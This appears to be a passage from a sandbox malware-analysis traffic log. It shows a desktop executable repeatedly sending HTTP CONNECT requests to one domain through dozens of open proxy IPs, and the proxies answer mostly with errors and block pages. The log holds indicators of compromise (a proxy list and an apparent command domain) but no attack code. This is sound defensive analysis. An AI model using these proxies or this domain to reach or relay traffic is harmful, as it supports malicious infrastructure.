Mar 11, 2024 15:21:04.324712038 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
587	192.168.2.9	52173	162.159.247.57	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.170208931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.331984997 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
588	192.168.2.9	52038	43.163.192.3	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.171386957 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
589	192.168.2.9	51951	223.113.80.158	9091	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.171956062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.630044937 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 14:21:06 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
590	192.168.2.9	51247	59.6.26.121	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.175030947 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
591	192.168.2.9	52170	38.54.101.254	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.176134109 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:06.361943007 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
592	192.168.2.9	52166	35.185.196.38	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.198184013 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.475352049 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
593	192.168.2.9	52011	43.133.74.172	15673	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.198447943 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
594	192.168.2.9	52025	84.39.112.144	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.198539019 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
595	192.168.2.9	51696	117.160.250.163	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.198786974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.829328060 CET	221	IN	HTTP/1.1 403 Access Denied Date: Mon, 11 Mar 2024 14:21:04 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
596	192.168.2.9	52010	111.90.150.109	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.199079037 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
597	192.168.2.9	52022	185.49.31.207	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.203978062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
598	192.168.2.9	51294	92.204.135.37	26927	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.207636118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.403538942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.403825998 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
599	192.168.2.9	52024	47.243.114.192	8180	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.207880974 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
600	192.168.2.9	52021	121.128.194.154	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.207957983 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
601	192.168.2.9	52141	51.79.87.144	22500	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.209886074 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.903333902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.700347900 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.200496912 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.169226885 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.200511932 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.079374075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:21.836551905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
602	192.168.2.9	52115	35.79.120.242	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.215303898 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.482491970 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
603	192.168.2.9	51979	220.194.189.144	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.222887993 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:34.724931955 CET	719	IN	HTTP/1.1 502 Bad Gateway Server: ZZY_WEB/20.08.18 Date: Mon, 11 Mar 2024 14:44:08 GMT Content-Type: text/html Content-Length: 563 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 5a 5a 59 5f 57 45 42 2f 32 30 2e 30 38 2e 31 38 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>ZZY_WEB/20.08.18</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
604	192.168.2.9	51310	72.195.101.99	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.223552942 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
605	192.168.2.9	52091	82.113.157.122	31280	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.230221033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
606	192.168.2.9	52046	31.211.142.115	8192	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.232630968 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
607	192.168.2.9	52082	154.12.178.107	29985	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.232800961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
608	192.168.2.9	52161	64.56.150.102	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.233030081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.482717991 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/3.5.28 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html;charset=utf-8 Content-Length: 1002 X-Squid-Error: ERR_ACCESS_DENIED 0 Content-Language: en X-Cache: MISS from ah_test Via: 1.1 ah_test (squid/3.5.28) Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 66 6f 6f 74 65 72 22 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 22 3e 47 65 6e 65 72 61 74 65 64 20 4d 6f 6e 2c 20 31 31 20 4d 61 72 20 32 30 32 34 20 31 34 3a 32 31 3a 30 34 20 47 4d 54 3c 2f 70 3e 0a 3c 2f 64 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2018 The Aerohive"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: Web Page Blocked</title><style type="text/css">... body:lang(fa) { direction: rtl; font-size: 100%; font-family: Tahoma, Roya, sans-serif; float: right; }:lang(he) { direction: rtl; } --></style></head><body id="ERR_ACCESS_DENIED"><div id="titles"><h1 style="color: #5b8cbd;">The requested URL cannot be retrieved</h1></div><div id="content"><p>Access to the web page has been blocked in accordance with the network policy. If you believe this is an error, please contact you system administrator.</p><p style="color: #7192b4;">URL: <a href="https://heygirlisheeverythingyouwantedinaman.com/">https://heygirlisheeverythingyouwantedinaman.com/</a></p><p style="color: #7192b4;">Category: </p><br></div><div id="footer"><p style="font-size: 12px;">Generated Mon, 11 Mar 2024 14:21:04 GMT</p></d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
609	192.168.2.9	52055	185.103.101.39	10051	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
